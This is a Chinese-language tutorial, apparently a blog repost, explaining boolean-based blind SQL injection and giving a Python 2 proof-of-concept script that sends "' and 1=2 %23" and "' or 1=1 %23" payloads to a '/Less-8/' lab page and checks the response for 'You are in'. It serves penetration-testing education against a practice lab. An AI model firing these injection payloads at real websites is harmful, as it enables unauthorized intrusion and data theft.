1. 程式人生 > >滲透測試之POC基於布林的sql盲注

滲透測試之POC基於布林的sql盲注

基於布林的盲注一般只能告訴我們true or fasle。

就比如你只能向系統提問,但是系統只能回答你是或者不是。

一般套路是先問資料庫名字有多長,1,2,3,4直到回答出是,然後獲取到資料庫名字長度,然後資料庫第一個字元是不是a,b,c,d....直到回答是,獲取第一個字元,然後按照這個套路獲取到第二個第三個字元最後獲取到資料庫名稱,然後再問表,欄位。。

還有另一個套路直接字典的,不過這個對字典的要求就高了。

轉過來說說我們的poc

先看看我們的測試環境:


當id存在時就會顯示 you are in.....  當id不存在時就會顯示為空

那麼這個時候可以用 or 1=1     and 1=2的方式去驗證

id 為任意,or 1=1 則會顯示全部


id為任意,and 1=1 則會顯示為空


所以可以通過判斷關鍵字  you are in 是否存在 從而判斷是否存在sql注入

下面開始用python寫無框架的poc

#coding:utf-8
import requests
import sys
import re

def verify(url):
    target = url + "/Less-8/"
    playload1 = target + "?id=1' and 1=2 %23"
    playload2 = target + "?id=1' or 1=1 %23"
    try:
        flag1 = False
        flag2 = False
        #傳送playload1
        req1 = requests.get(playload1)
        response1 = req1.text
        #print response1
        if response1:
            #查詢關鍵字 You are in
            if not re.search('You are in',response1):
                flag1 = True
        req2 = requests.get(playload2)
        response2 = req2.text
        #print response2
        if response2:
            #查詢關鍵字 You are in
            if re.search('You are in',response2):
                flag2 = True
        print flag1,flag2
        if flag1 == flag2 and flag1 is True:
                print "%s is vulnerable" %playload2
        else:
            print "%s is not vulnerable" %playload2
    except Exception,e:
        print "Something happend...."
        print e
        
def main():
    args = sys.argv
    url = ""
    if len(args) == 2:
        url = args[1]
        #print url
        verify(url)
    else:
        print "Usage:python %s url"%(args[0])
        
if __name__ == '__main__':
    main()
測試效果